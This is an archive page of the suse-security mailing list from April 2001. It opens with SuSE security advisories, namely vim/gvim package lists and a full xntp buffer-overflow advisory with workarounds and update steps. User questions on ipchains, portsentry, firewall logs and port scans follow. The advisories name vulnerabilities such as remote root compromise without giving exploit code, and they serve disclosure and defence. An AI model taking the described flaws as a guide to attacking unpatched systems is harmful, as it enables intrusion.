b496518ea1640852e17ddb1274759fc4 source rpm: ftp://ftp.suse.com/pub/suse/axp/update/6.3/zq1/vim-5.7-57.src.rpm 1760adfac8e70bff334d74330acbefed SuSE-6.1 ftp://ftp.suse.com/pub/suse/axp/update/6.1/a1/vim-5.7-57.alpha.rpm dc633df2ac8fafa41c76d5c0216ed149 source rpm: ftp://ftp.suse.com/pub/suse/axp/update/6.1/zq1/vim-5.7-57.src.rpm 610088cca725fec62a4e7d6f1b030af1 PPC PowerPC Platform: SuSE-7.0 ftp://ftp.suse.com/pub/suse/ppc/update/7.0/a1/vim-5.7-20.ppc.rpm 0b9ecb77901b15a90bf25623701d834b source rpm: ftp://ftp.suse.com/pub/suse/ppc/update/7.0/zq1/vim-5.7-20.src.rpm 3224f60fa80f27a9fb249a69c0ceaf01 SuSE-6.4 ftp://ftp.suse.com/pub/suse/ppc/update/6.4/a1/vim-5.7-19.ppc.rpm 2044541d409bd756a166a75515214ffa source rpm: ftp://ftp.suse.com/pub/suse/ppc/update/6.4/zq1/vim-5.7-19.src.rpm cac70ab3c2dee163d490bd85126f70aa gvim: ----- i386 Intel Platform: SuSE-7.1 ftp://ftp.suse.com/pub/suse/i386/update/7.1/xap2/gvim-5.7-79.i386.rpm 066d163c43a6bb58f7a4a3770f179770 source rpm: ftp://ftp.suse.com/pub/suse/i386/update/7.1/zq1/gvim-5.7-79.src.rpm e6e92c8c4de39bd3a5899a55d6003d82 SuSE-7.0 ftp://ftp.suse.com/pub/suse/i386/update/7.0/xap1/gvim-5.7-79.i386.rpm 16973a740f4a1fc2f2a189f036a10fe9 source rpm: ftp://ftp.suse.com/pub/suse/i386/update/7.0/zq1/gvim-5.7-79.src.rpm fecbd910f57b351e992f7b7015e3149b SuSE-6.4 ftp://ftp.suse.com/pub/suse/i386/update/6.4/xap1/gvim-5.7-78.i386.rpm 1700470566ac4fb2e5588771f07638ed source rpm: ftp://ftp.suse.com/pub/suse/i386/update/6.4/zq1/gvim-5.7-78.src.rpm 43a49e33acb8b9f017e6e5846ba636df SuSE-6.3 ftp://ftp.suse.com/pub/suse/i386/update/6.3/xap1/gvim-5.7-78.i386.rpm db2abf1a9414b36466eb3d1186df5a7e source rpm: ftp://ftp.suse.com/pub/suse/i386/update/6.3/zq1/gvim-5.7-78.src.rpm 0b0b50b4987d594ee48a146e939f7152 SuSE-6.2 ftp://ftp.suse.com/pub/suse/i386/update/6.2/xap1/gvim-5.7-77.i386.rpm 125171df7f45c80c10ea0fd52f944a6a source rpm: ftp://ftp.suse.com/pub/suse/i386/update/6.2/zq1/gvim-5.7-77.src.rpm 634e7b355274aed0af0fd7ac83218d78 SuSE-6.1 ftp://ftp.suse.com/pub/suse/i386/update/6.1/xap1/gvim-5.7-78.i386.rpm 1d18996bf9666269db7893ae340e5642 source rpm: ftp://ftp.suse.com/pub/suse/i386/update/6.1/zq1/gvim-5.7-78.src.rpm 9279a59d6eb1942186e1233c6f0ebcf1 Sparc Platform: SuSE-7.0 ftp://ftp.suse.com/pub/suse/sparc/update/7.0/xap1/gvim-5.7-59.sparc.rpm d415a24027510882b68d4ddcf1970ab4 source rpm: ftp://ftp.suse.com/pub/suse/sparc/update/7.0/zq1/gvim-5.7-59.src.rpm 57bfa58f0f7c46354edc78f0fc694d43 AXP Alpha Platform: SuSE-6.4 ftp://ftp.suse.com/pub/suse/axp/update/6.4/xap1/gvim-5.7-57.alpha.rpm 4cd25502d4ac5067fc64cd917ebd9018 source rpm: ftp://ftp.suse.com/pub/suse/axp/update/6.4/zq1/gvim-5.7-57.src.rpm 347a84634805a6efa1ebf76df2a8ddb5 SuSE-6.3 ftp://ftp.suse.com/pub/suse/axp/update/6.3/xap1/gvim-5.7-57.alpha.rpm 5808f168b8632c85518d61ecec33e3d1 source rpm: ftp://ftp.suse.com/pub/suse/axp/update/6.3/zq1/gvim-5.7-57.src.rpm 9402b1f0440b71a6aa0c1a60748dd26d SuSE-6.1 ftp://ftp.suse.com/pub/suse/axp/update/6.1/xap1/gvim-5.7-57.alpha.rpm b74d1cb6f7200d0bcf6ddbe1310e28c7 source rpm: ftp://ftp.suse.com/pub/suse/axp/update/6.1/zq1/gvim-5.7-57.src.rpm 599e9ed0a326a9b86a6584f0a24ae4ad PPC PowerPC Paltform: SuSE-7.0 ftp://ftp.suse.com/pub/suse/ppc/update/7.0/xap1/gvim-5.7-58.ppc.rpm 27e579ff062662425a3581da6d08bce9 source rpm: ftp://ftp.suse.com/pub/suse/ppc/update/7.0/zq1/gvim-5.7-58.src.rpm 42a9a5b423848bbe381251c15a095a65 SuSE-6.4 ftp://ftp.suse.com/pub/suse/ppc/update/6.4/xap1/gvim-5.7-57.ppc.rpm 07b386f3dbaca5c9b3f8c440ba59c782 source rpm: ftp://ftp.suse.com/pub/suse/ppc/update/6.4/zq1/gvim-5.7-57.src.rpm 4ddef3c55da33c3b548dd055d3d9b75b ______________________________________________________________________________ 2) Pending vulnerabilities in SuSE Distributions and Workarounds: - We are in the process of preparing update packages for the man package which has been found vulnerable to a commandline format string bug. The man command is installed suid man on SuSE systems. When exploited, the bug can be used to install a different man binary to introduce a trojan into the system. As an interim workaround, we recommend to `chmod -s /usr/bin/man´ and ignore the warnings and errors when viewing manpages. - A bufferoverflow in sudo was discovered and fixed RPMs will be available as soon as possible. A exploit was not made public until now. - NEdit a GUI-style text editor needs an update due to a tmp race condition. The source code is currently being reviewed and new RPMs will be available within the next days. ______________________________________________________________________________ 3) standard appendix: SuSE runs two security mailing lists to which any interested party may subscribe: suse-security(a)suse.com - general/linux/SuSE security discussion. All SuSE security announcements are sent to this list. To subscribe, send an email to <suse-security-subscribe(a)suse.com>. suse-security-announce(a)suse.com - SuSE's announce-only mailing list. Only SuSE's security annoucements are sent to this list. To subscribe, send an email to <suse-security-announce-subscribe(a)suse.com>. For general information or the frequently asked questions (faq) send mail to: <suse-security-info(a)suse.com> or <suse-security-faq(a)suse.com> respectively. =============================================== SuSE's security contact is <security(a)suse.com>. =============================================== ______________________________________________________________________________ The information in this advisory may be distributed or reproduced, provided that the advisory is not modified in any way. SuSE GmbH makes no warranties of any kind whatsoever with respect to the information contained in this security advisory. -----BEGIN PGP SIGNATURE----- Version: 2.6.3i Charset: noconv iQEVAwUBOtMMyXey5gA9JdPZAQFnUwgAmiUtFvm1KydQIAQZKbQfSDdCL+gcpdJs 5NLVWTNGGL/pxP7y1l+7/kg107TrO7QKzfzfm/tKODu7m4jAvao8QMEnXP3GIzK5 jPSK7sckztfIsp7Rgom/yjgEZk2UrKbZadr5ASnen/QGuppsUL7qL8QvcCie2Ypv NYAIC44gdJBrZRC7joNAtOLoSOfNIR6Hj3wkbmKpWVKANCZPnLwLpXn/4rd9Xorz S0FKR+FzsigN7zHkeIzeqezYBTsBfBSsRomHpkiiPsGFKBYDDc6nWsPTLlOWinww Pj5VrcQ2sqZKW5RF4ET+w3v2GjGKRP/vcQMbP9qrIy8VNl9/MztskA== =C7Jm -----END PGP SIGNATURE----- Bye, Thomas -- Thomas Biege, SuSE GmbH, Schanzaeckerstr. 10, 90443 Nuernberg E@mail: thomas(a)suse.de Function: Security Support & Auditing "lynx -source http://www.suse.de/~thomas/thomas.pgp | pgp -fka" Key fingerprint = 09 48 F2 FD 81 F7 E7 98 6D C7 36 F1 96 6A 12 47

2 1

portsentry.ignore syntax question
by jan meyer 10 Apr '01

10 Apr '01

Hi, I ran into trouble with the syntax of the "portsentry.ignore" file. It must be possible to put ip-ranges (e.g. 192.168.0.0/16 or 192.168.) in there but it didn't work out...? It only works with single IP entries like: 192.168.0.1 192.168.0.2 ... does somebody have a hint ? thanks jan meyer

2 1

making a tcp connection takes a long time
by Dirk Festerling 10 Apr '01

10 Apr '01

Hi all, we have a 192.168.0/24- and a 192.168.3/24-subnet here. They are linked to each other with two ethernet-routers, between these routers there is another network 192.168.2/24. Okay, the net between the routers doesn't have to be that big at all but it made setting up the routers easier. When we do a ssh-, telnet-, ftp-, ldap- or anything except a smb- or a http- connection between these subnets there is almost always a enormous delay before the connection is established (one minute or more). It takes no matter if a hostname or a IP-address ist used. But ICMP-Pakets just go fine. I think only TCP-pakets are affected and I'm not really sure, but this phenomom seems to happen only when connecting to SuSE-hosts (Most of our hosts are SuSE based but I set up some workstations with a floppy-distribution on boths subnets and connecting to them was just fine everytime I tried ist, doing ssh to the routers is also fine). Are there any parameters to set to make this configuration work? Disable Proctection for IP-Spoofing maybe? At the end of this mail I put the routing tables of the routers and the output of some traceroutes from one subnet to the other. thank you for having a look at this! Dirk Festerling - Bereich IT - Hotset Heizpatronen und Zubehör GmbH, Wefelshohler Str. 48, 58511 Lüdenscheid Tel: +49 2351 4302-601 Fax: +49 2351 4302-611 eMail: DFesterling(a)hotset.de ------------------------------------------ ping and traceroute do fine: 192.168.0.23# traceroute -n 192.168.3.2 traceroute to 192.168.3.2 (192.168.3.2), 30 hops max, 40 byte packets 1 192.168.0.158 1 ms 1 ms 0 ms 2 192.168.2.1 1 ms 1 ms 1 ms 3 192.168.3.2 2 ms 1 ms 1 ms 192.168.3.2# traceroute -n 192.168.0.23 traceroute to 192.168.0.23 (192.168.0.23), 30 hops max, 40 byte packets 1 192.168.3.1 1 ms 1 ms 1 ms 2 192.168.2.2 1 ms 1 ms 1 ms 3 192.168.0.23 2 ms 2 ms 2 ms the routing tables on the routers show up like this: 192.168.0.158# route -n Kernel routing table Destination Gateway Genmask Flags MSS Window Use Iface 192.168.3.0 192.168.2.1 255.255.255.0 UG 0 0 0 eth1 192.168.2.0 * 255.255.255.0 U 0 0 0 eth1 192.168.0.0 * 255.255.255.0 U 0 0 0 eth0 127.0.0.0 * 255.0.0.0 U 0 0 0 lo 192.168.3.1# route -n Destination Gateway Genmask Flags MSS Window Use Iface 192.168.3.0 * 255.255.255.0 U 0 0 0 eth1 192.168.2.0 * 255.255.255.0 U 0 0 0 eth0 192.168.0.0 192.168.2.2 255.255.255.0 UG 0 0 0 eth0 127.0.0.0 * 255.0.0.0 U 0 0 0 lo

2 2

md5 & su problem
by Nikolai Dahlem 10 Apr '01

10 Apr '01

Hi, I changed authentification on my 7.1 to md5, but now su is broken. I added md5 to /etc/pam.d/su, but I doesn't work. any ideas ? regards Nikolai Dahlem

2 1

Modify "login welcomes" in telnet, ssh, pop...
by Ramon Acedo 10 Apr '01

10 Apr '01

I'd like to know where are the files containing the message that you see when you telnet a machine, for example: the "Welcome to SuSe Linux 6.4" when you telnet the machine, the same for the ssh and the same for the pop, because when you telnet the pop port it shows you the version. I'd like to hide the versions of de deamons at my servers from the outside. Thanks!

3 2

Timeout waiting for input from host1.SUSE.com
by S.T.Ryder 10 Apr '01

10 Apr '01

Hi list, I keep getting this message in my mail log: "timeout waiting for input from host1.SUSE.com" and I have not got mail from the list all day. Anyone got any clues?? Thanks, S.T.Ryder mailto:stryder@facestech.com +-------------------------------+-------------------------------------+

2 2

Re: [suse-security] Firewall
by mgchw＠t-online.de 10 Apr '01

10 Apr '01

Hi! maybe u'd like to have a look at: http://www.linuxdoc.org/HOWTO/IPCHAINS-HOWTO.html bye chris

1 0

FTP daemons
by Morsal Roudbay 09 Apr '01

09 Apr '01

Which FTP daemon for Linux is currently the one with least security holes? Morsal

16 29

SuSE Security Announcement: xntp (SuSE-SA:2001:10)
by Roman Drahtmueller 09 Apr '01

09 Apr '01

-----BEGIN PGP SIGNED MESSAGE----- ______________________________________________________________________________ SuSE Security Announcement Package: xntp Announcement-ID: SuSE-SA:2001:10 Date: Monday, April 9th 22:30 MEST Affected SuSE versions: (6.0, 6.1, 6.2), 6.3, 6.4, 7.0, 7.1 Vulnerability Type: remote root compromise Severity (1-10): 8 SuSE default package: no Other affected systems: systems using xntp in newer versions Content of this advisory: 1) security vulnerability resolved: xntp problem description, discussion, solution and upgrade information 2) pending vulnerabilities, solutions, workarounds 3) standard appendix (further information) ______________________________________________________________________________ 1) problem description, brief discussion, solution, upgrade information xntp is the network time protocol package widely used with many unix and linux systems for system time synchronization over a network. An exploit published by Przemyslaw Frasunek demonstrates a buffer overflow in the control request parsing code. The exploit allows a remote attacker to execute arbitrary commands as root. All versions as shipped with SuSE Linux are affected by the buffer overflow problem. A temporary workaround is to kill the daemon and to set the variable START_XNTPD in the file /etc/rc.config to "no" so that the daemon will not be started again upon reboot of the system. Correct the system time manually if necessary or adjust the time by running ntpdate from a cron job on a regular basis. We believe that this problem is generally underestimated since the xntpd daemon tends to get forgotten over the years of a system's life- time once installed and configured. The xntpd daemon is not started by default in SuSE Linux distributions. We strongly recommend to immediately update the xntp package on each system where the daemon is installed, configured and running. Note: The xntp update packages for most distributions have been available for download since Friday last week. The packages for all 6.4 and 7.0 version distributions had to be rebuilt due to a specfile bug that did not show up earlier and that caused a delay in building packages. This bug causes the rpm subsystem to complain about the release number of the package. Now that this bug is corrected, you might find yourself having installed a package where there is a newer version of the package on the ftp server. However, regardless of the package release number, all published packages fix the currently known security problems in the xntpd network time daemon. Note: The source rpm of xntp in newer distributions generates two packages: xntp.rpm and xntpdoc.rpm. It is not necessary to update the xntpdoc package which is why we do not provide the update packages on our ftp server. The xntpdoc package only contains the documentation for the xntp package and did not change in this updated package. Download the update package from locations desribed below and install the package with the command `rpm -Uhv file.rpm'. The md5sum for each file is in the line below. You can verify the integrity of the rpm files using the command `rpm --checksig --nogpg file.rpm', independently from the md5 signatures below. SPECIAL INSTALL INSTRUCTIONS: ============================== The xntpd daemon must be restarted for the new package to become active after the installation of the update rpm. You can do this by running the command kill -15 `pidof xntpd` as root. After performing the upgrade using the rpm command above, you can restart the xntpd: rcxntpd start You should now see the new daemon synchronizing in your syslogs, depending on where you configured the daemon to write its logs to. i386 Intel Platform: SuSE-7.1 ftp://ftp.suse.com/pub/suse/i386/update/7.1/n2/xntp-4.0.99f-34.i386.rpm 9e39ca8f7b01fef22766463b8295e25d source rpm: ftp://ftp.suse.com/pub/suse/i386/update/7.1/zq1/xntp-4.0.99f-34.src.rpm dfa51b46c92b917353f52e5d83863478 SuSE-7.0 ftp://ftp.suse.com/pub/suse/i386/update/7.0/n1/xntp-4.0.99f-37.i386.rpm 4293ad8a3e084ec5d773bbcab8380c08 source rpm: ftp://ftp.suse.com/pub/suse/i386/update/7.0/zq1/xntp-4.0.99f-37.src.rpm 745b894dcb6a97caa36f97858a51e279 SuSE-6.4 ftp://ftp.suse.com/pub/suse/i386/update/6.4/n1/xntp-4.0.99f-38.i386.rpm 8001ac19d0ee812be82b6b066b4313d5 source rpm: ftp://ftp.suse.com/pub/suse/i386/update/6.4/zq1/xntp-4.0.99f-38.src.rpm 7d56618cba3d768aa53246f39158987d SuSE-6.3 ftp://ftp.suse.com/pub/suse/i386/update/6.3/n1/xntp-4.0.98d-1.i386.rpm 2f5d7b43b167c6acf13f68b13b1b7989 source rpm: ftp://ftp.suse.com/pub/suse/i386/update/6.3/zq1/xntp-4.0.98d-1.src.rpm 11182e5e8c3769e6f9498ade9fcbe1fc SuSE-6.2 (unsupported platform) ftp://ftp.suse.com/pub/suse/i386/update/6.2/n1/xntp-4.0.93a-18.i386.rpm 5b55d179e3d4a0c57513bed03013c1a9 source rpm: ftp://ftp.suse.com/pub/suse/i386/update/6.2/zq1/xntp-4.0.93a-18.src.rpm dbb7c833ddc25b0bde406b4319d4106f SuSE-6.1 (unsupported platform) ftp://ftp.suse.com/pub/suse/i386/update/6.1/n1/xntp-4.0.92c-1.i386.rpm baa93b55a4eaa486968fa6285f04c865 source rpm: ftp://ftp.suse.com/pub/suse/i386/update/6.1/zq1/xntp-4.0.92c-1.src.rpm 06f0174e8934e3ce6f419284564a7c91 Sparc Platform: SuSE-7.1 The xntp packages for the SuSE-7.1 sparc distribution are currently pending for being built. They will be available on the ftp server as soon as they are built. The packages are gpg-signed using the key <build(a)suse.de> that should have been installed on your system upon system installation/upgrade. Use the command `rpm --checksig xntp.rpm´ to verify this signature once the packages are available for download. In the meanwhile, please use the temporary workaround as described above. SuSE-7.0 ftp://ftp.suse.com/pub/suse/sparc/update/7.0/n1/xntp-4.0.99f-19.sparc.rpm bea9ea6a88ae68f27962d1b9ad866eac source rpm: ftp://ftp.suse.com/pub/suse/sparc/update/7.0/zq1/xntp-4.0.99f-19.src.rpm 83243db2982126e1a6ba371ef6dcf59b AXP Alpha Platform: SuSE-7.0 ftp://ftp.suse.com/pub/suse/axp/update/7.0/n1/xntp-4.0.99f-22.alpha.rpm e410a96c44f12ba3d51a4f1f3e056fcd source rpm: ftp://ftp.suse.com/pub/suse/axp/update/7.0/zq1/xntp-4.0.99f-22.src.rpm 61ed8e66753868735cd14e94cb295718 SuSE-6.4 ftp://ftp.suse.com/pub/suse/axp/update/6.4/n1/xntp-4.0.99f-22.alpha.rpm 9460bd3eaf5500c0184d9394b8b86627 source rpm: ftp://ftp.suse.com/pub/suse/axp/update/6.4/zq1/xntp-4.0.99f-22.src.rpm 5c62ef99f064b687047087562cfe54ca SuSE-6.3 ftp://ftp.suse.com/pub/suse/axp/update/6.3/n1/xntp-4.0.98d-1.alpha.rpm ad8c8494f0aaa06a1690e4edcaa43904 source rpm: ftp://ftp.suse.com/pub/suse/axp/update/6.3/zq1/xntp-4.0.98d-1.src.rpm 743fe2aba27f1801ac5b14cff2f2edb6 SuSE-6.1 (unsupported platform) ftp://ftp.suse.com/pub/suse/axp/update/6.1/n1/xntp-4.0.92c-40.alpha.rpm d400eeecb9bd0b4347f3fe58f7f90fee source rpm: ftp://ftp.suse.com/pub/suse/axp/update/6.1/zq1/xntp-4.0.92c-40.src.rpm e2d01c31542ebbf8c740b820a6372ad1 PPC Power PC Platform: SuSE-7.1 The xntp packages for the SuSE-7.1 ppc distribution are currently pending for being built. They will be available on the ftp server as soon as they are built. The packages are gpg-signed using the key <build(a)suse.de> that should have been installed on your system upon system installation/upgrade. Use the command `rpm --checksig xntp.rpm´ to verify this signature once the packages are available for download. In the meanwhile, please use the temporary workaround as described above. SuSE-7.0 ftp://ftp.suse.com/pub/suse/ppc/update/7.0/n1/xntp-4.0.99f-21.ppc.rpm 2d82e8f63df84cb409df7659437c1177 source rpm: ftp://ftp.suse.com/pub/suse/ppc/update/7.0/zq1/xntp-4.0.99f-21.src.rpm a0bce6c36cf30da1aa587e03103a01f6 SuSE-6.4 ftp://ftp.suse.com/pub/suse/ppc/update/6.4/n1/xntp-4.0.99f-21.ppc.rpm fe9082268bdf53dddcaad075284f899b source rpm: ftp://ftp.suse.com/pub/suse/ppc/update/6.4/zq1/xntp-4.0.99f-21.src.rpm 1940b97593e3e134487d294a721e350d ______________________________________________________________________________ 2) Pending vulnerabilities in SuSE Distributions and Workarounds: - kernel Please expect security updates of the Linux kernel soon. To resolve all currently known security problems in the Linux kernel, update the kernel manually to version 2.2.19 or wait until the SuSE update rpm packages for the supported distributions 6.3, 6.4, 7.0 and 7.1 are ready to be used and available for download. - more updates In addition to the kernel update, please expect more packages to see security updates. Currently, this involves vim, mc and sudo. - bind8 The update packages for the 7.0 sparc distribution is available. ftp://ftp.suse.com/pub/suse/sparc/update/7.0/n1/bind8-8.2.3-39.sparc.rpm c7e2a95bd4b90d03207ffc3a9880c36c source rpm: ftp://ftp.suse.com/pub/suse/sparc/update/7.0/zq1/bind8-8.2.3-39.src.rpm 5d4d4b608f2a8a3e61f7dc6917254f4f The SuSE-7.1 sparc distribution was published after the bugs in bind8 were corrected. ______________________________________________________________________________ 3) standard appendix: SuSE runs two security mailing lists to which any interested party may subscribe: suse-security(a)suse.com - general/linux/SuSE security discussion. All SuSE security announcements are sent to this list. To subscribe, send an email to <suse-security-subscribe(a)suse.com>. suse-security-announce(a)suse.com - SuSE's announce-only mailing list. Only SuSE's security annoucements are sent to this list. To subscribe, send an email to <suse-security-announce-subscribe(a)suse.com>. For general information or the frequently asked questions (faq) send mail to: <suse-security-info(a)suse.com> or <suse-security-faq(a)suse.com> respectively. =============================================== SuSE's security contact is <security(a)suse.com>. =============================================== ______________________________________________________________________________ The information in this advisory may be distributed or reproduced, provided that the advisory is not modified in any way. SuSE GmbH makes no warranties of any kind whatsoever with respect to the information contained in this security advisory. Type Bits/KeyID Date User ID pub 2048/3D25D3D9 1999/03/06 SuSE Security Team <security(a)suse.de> - -----BEGIN PGP PUBLIC KEY BLOCK----- Version: 2.6.3i mQENAzbhLQQAAAEIAKAkXHe0lWRBXLpn38hMHy03F0I4Sszmoc8aaKJrhfhyMlOA BqvklPLE2f9UrI4Xc860gH79ZREwAgPt0pi6+SleNFLNcNFAuuHMLQOOsaMFatbz JR9i4m/lf6q929YROu5zB48rBAlcfTm+IBbijaEdnqpwGib45wE/Cfy6FAttBHQh 1Kp+r/jPbf1mYAvljUfHKuvbg8t2EIQz/5yGp+n5trn9pElfQO2cRBq8LFpf1l+U P7EKjFmlOq+Gs/fF98/dP3DfniSd78LQPq5vp8RL8nr/o2i7jkAQ33m4f1wOBWd+ cZovrKXYlXiR+Bf7m2hpZo+/sAzhd7LmAD0l09kABRG0JVN1U0UgU2VjdXJpdHkg VGVhbSA8c2VjdXJpdHlAc3VzZS5kZT6JARUDBRA24S1H5Fiyh7HKPEUBAVcOB/9b yHYji1/+4Xc2GhvXK0FSJN0MGgeXgW47yxDL7gmR4mNgjlIOUHZj0PEpVjWepOJ7 tQS3L9oP6cpj1Fj/XxuLbkp5VCQ61hpt54coQAvYrnT9rtWEGN+xmwejT1WmYmDJ xG+EGBXKr+XP69oIUl1E2JO3rXeklulgjqRKos4cdXKgyjWZ7CP9V9daRXDtje63 Om8gwSdU/nCvhdRIWp/Vwbf7Ia8iZr9OJ5YuQl0DBG4qmGDDrvImgPAFkYFzwlqo choXFQ9y0YVCV41DnR+GYhwl2qBd81T8aXhihEGPIgaw3g8gd8B5o6mPVgl+nJqI BkEYGBusiag2pS6qwznZiQEVAwUQNuEtBHey5gA9JdPZAQFtOAf+KVh939b0J94u v/kpg4xs1LthlhquhbHcKNoVTNspugiC3qMPyvSX4XcBr2PC0cVkS4Z9PY9iCfT+ x9WM96g39dAF+le2CCx7XISk9XXJ4ApEy5g4AuK7NYgAJd39PPbERgWnxjxir9g0 Ix30dS30bW39D+3NPU5Ho9TD/B7UDFvYT5AWHl3MGwo3a1RhTs6sfgL7yQ3U+mvq MkTExZb5mfN1FeaYKMopoI4VpzNVeGxQWIz67VjJHVyUlF20ekOz4kWVgsxkc8G2 saqZd6yv2EwqYTi8BDAduweP33KrQc4KDDommQNDOXxaKOeCoESIdM4p7Esdjq1o L0oixF12Cg== =pIeS - -----END PGP PUBLIC KEY BLOCK----- -----BEGIN PGP SIGNATURE----- Version: 2.6.3i Charset: noconv iQEVAwUBOtIdLXey5gA9JdPZAQGX0Af/RbqT5xox/JWc6gz7QGxA/TCKrLvk3rO3 RBesK0QJ/GqEWZh3CI81CyXCHZiyOkKzmUo5+BhX5NU4OnmuvVokofTk/cAQxh1M 6HzcUySvNrru79VwSuFE1nFGuyzWSDkKAAgD2/mP0fSporpinJTeVJm/JkXH3jau sOq+eIzhi7grtnVgbIueGR8mGrAg8COLlCx7GjYLd+VQxeS+eOtT16sLY4gMDV43 RDzpRA5dWFh48KGkncA5/0Cuvs46LTmBkVDgyflgyG1h+dmrSlfXSvoLyo08lupy ekFi4zg2H91Bb7SX0FFs456R42S02arJyld2/xm8IR9fkR18Ve12gg== =6ds6 -----END PGP SIGNATURE-----

1 0

DENY or REJECT port 113 request
by Togan Muftuoglu 09 Apr '01

09 Apr '01

Hi everyone, A few days ago I had asked why I had su much scans for port 113 well I kind of find the answer as this happens more when I send emails. I have found the following information as it also slows smtp service. The suggesstion is as follows To solve this problem: 1)reconfigure the e-mail server to stop querying identd info 2)reconfigure the firewall to RST all those connections 3)reconfigure the firewall to allow this protocol, but this would be a BAD IDEA because identd/AUTH reveals a HUGE amount of information about your UNIX machines. Now I do not want to do option 1 since I don't think I am ready to play with sendmail.cf. I do not want to do option three since it is written in captial letters. So I am only left with option 2. If possible to do so; how can I can make it just to accept for SMTP ident requsst but deny or reject (whichever is recommended)for all others ? If not possible then DENY or REJECT which option would be better to increase performance. #IDENTD $IPCHAINS -A input -p tcp -s $REMOTENET -d $OUTERNET 113 -j DENY -l $IPCHAINS -A input -p udp -s $REMOTENET -d $OUTERNET 113 -j DENY -l TIA -- Togan Muftuoglu

2 1

Firewall
by Maximiliano A. Benitez 09 Apr '01

09 Apr '01

Where i can help about setup Firewall, I can`t find help anywhere in the net

1 0

FireWall... and InternalNetwork
by mash＠myfuckingnet.com 09 Apr '01

09 Apr '01

Hello.... I would like to know better what my FireWall logs are telling me... Where can i read what PROTO=6 or PROTO=17 mean? Also, I need to put some better rules... I (in theory DENY all packets comming from DEV_WORLD) have some log inputs with PROTO=6 and PROTO=17 comming from that device... on my internal network... i started with 1:65535 on TCP and UDP.... :-D jeje,,, i know i'm kind of crazy but.... in theory.... i will not accept anything from Internet.... just from my internal network.... As you can see... i need to read more... Can someone guide me a bit on what might be happening...??? Thanks... Tomás

3 2

I need help about setup firewall
by Maximiliano A. Benitez 09 Apr '01

09 Apr '01

I Have Linux Suse 7.1 Kernel 2.2.16 and i help about this how setup my Wan (Internet) and my LAN (Local Network) In my firewall. In the ethernet eth1 i have WAN in the eth0 LAN I need the firewall in the wan, because my server mail and web in the wan. Sorry about my english

3 2

Winsock Error 10054, UDP, ICMP
by Sven Westenberg 09 Apr '01

09 Apr '01

Hi, our LAN (NT4 SP6a clients) is connected by a linux (SuSE 7.0) firewall (SuSEFirewall 2.6) and proxy (Squid 2.3.3) to the internet. We have a mail server (on an NT machine), which kicks the mails with the ETRN command from our ISP. After connecting to the ISPs mail server the connection is reset by peer (winsock error 10054). Without the firewall, everything works fine! This problem seems to occur, because our mail server sends UDP packages to the ISPs mail server. These packages are blocked by the firewall. Then, the firewall sends back ICMP port unreachable packets, which reset the connection. In the firewall logs, I can not determine any denied packages?! My questions: 1. What/Why UDP packages/ports? 2. Does every mail server use UDP packages in order to kick mails? 3. Other error? Because nothing is logged. Thanks CU Sven

1 0

Winsock Error 10054, UDP, ICMP
by Sven Westenberg 09 Apr '01

09 Apr '01

Hi, our LAN (NT4 SP6a clients) is connected by a linux (SuSE 7.0) firewall (SuSEFirewall 2.6) and proxy (Squid 2.3.3) to the internet. We have a mail server (on an NT machine), which kicks the mails with the ETRN command from our ISP. After connecting to the ISPs mail server the connection is reset by peer (winsock error 10054). Without the firewall, everything works fine! This problem seems to occur, because our mail server sends UDP packages to the ISPs mail server. These packages are blocked by the firewall. Then, the firewall sends back ICMP port unreachable packets, which reset the connection. In the firewall logs, I can not determine any denied packages?! My questions: 1. What/Why UDP packages/ports? 2. Does every mail server use UDP packages in order to kick mails? 3. Other error? Because nothing is logged. Thanks CU Sven

1 0

Port-Scans(english now!)
by Dominic Burger 09 Apr '01

09 Apr '01

Hello List, first of all sorry for posting in german, I totally forgot that this list is in englisch. Because I've read several times in this list that there're port scans on many machines when a new bug in known, I want to close on my LinuxBox(SuSE 6.4, Server for a small LAN, Gateway for Internet) using ipchains; I also want to close those ports which are used by BO2K, NetBUS,... Where can I find a list which ports are use by BO2K,... and where a list which bugs "open" which ports ?(I've already checked /etc/services and /etc/protocols but there're always new bugs and BO2k-like porgrams.) Thanks for your help Dominic Burger

3 2

suse firewall
by Franz Pfisterer 09 Apr '01

09 Apr '01

Hi, I'm using the suse firewal 2.1-5 on SuSE 6.4, Kernel 2.2.16 I have disabled all incoming packets except DNS, xntp. Watching the firewal-log, there are a lot of DENYs the whole day. But since a few days sometimes packets are accepted from ip-addresses I don't know, as shown below. Apr 8 23:41:09 linux3 kernel: Packet log: input ACCEPT ippp1 PROTO=1 62.224.186.168:8 217.2.57.22:0 L=36 S=0x00 I=60136 F=0x0000 T=123 (#20) What does this say? Is it needed to change some firewall rules? Thanks in advance, Franz

2 1

[suse-security] pgp 6.5.8-problem
by da_bug 07 Apr '01

07 Apr '01

Hi! I don't know if this is the right place to ask, but pgp is security related so I will give it at try. ;-) I wanted to compile the sourcecode of pgp 6.5.8 from http://www.pgpi.org/products/pgp/versions/freeware/unix/6.5.8/ - but it failed with this error: /usr/i486-suse-linux/bin/ld: cannot find -lPGPui collect2: ld returned 1 exit status make: *** [pgp] Error 1 (system SuSE 7.1, Kernel 2.4.2) The same error also appears in some newsgroups but I didn't found any solution for it... -- So if any member of this list successfully compiled pgp 6.5.8 for Linux I would like to know about it. -- Bye.

3 3

ipchains Regel will nicht
by f.dittberner＠molnet.de 07 Apr '01

07 Apr '01

Hi Liste, ich hab ein Problem mit ipchains, ich möchte den Port 65535 freigeben, weil ich habe hier meine Firewall, diese soll Zugriff auf einen NFS-Server haben, das mounten und so klappt, die Regeln funktionieren alle. Nur wenn dann eine Datei kopieren will bleibt sie hängen. Die Regel: /sbin/ipchains -A output -j ACCEPT -i eth0 -p tcp --sport 65535 /sbin/ipchains -A input -j ACCEPT -i eth0 -p tcp --sport 65535 Ergebniss... Packet log: output DENY eth0 PROTO=17 192.168.111.254:65535 192.168.111.2:6553 L=1304 S=0x00 I=6778 F=0x0172 T=64 (#40) Frank Dittberner

3 2

iptables
by Ralf Freisinger 07 Apr '01

07 Apr '01

Hello All, perhaps can someone tell me the rules to forward requests to an official ip, set up as a virtual net dev on a firewall (eth0:1) to an inoff. adress behind the firewall (DMZ) port 80 (www-server)? Thanks in advance Ralf

2 1

being scanned for port 113
by Togan Muftuoglu 07 Apr '01

07 Apr '01

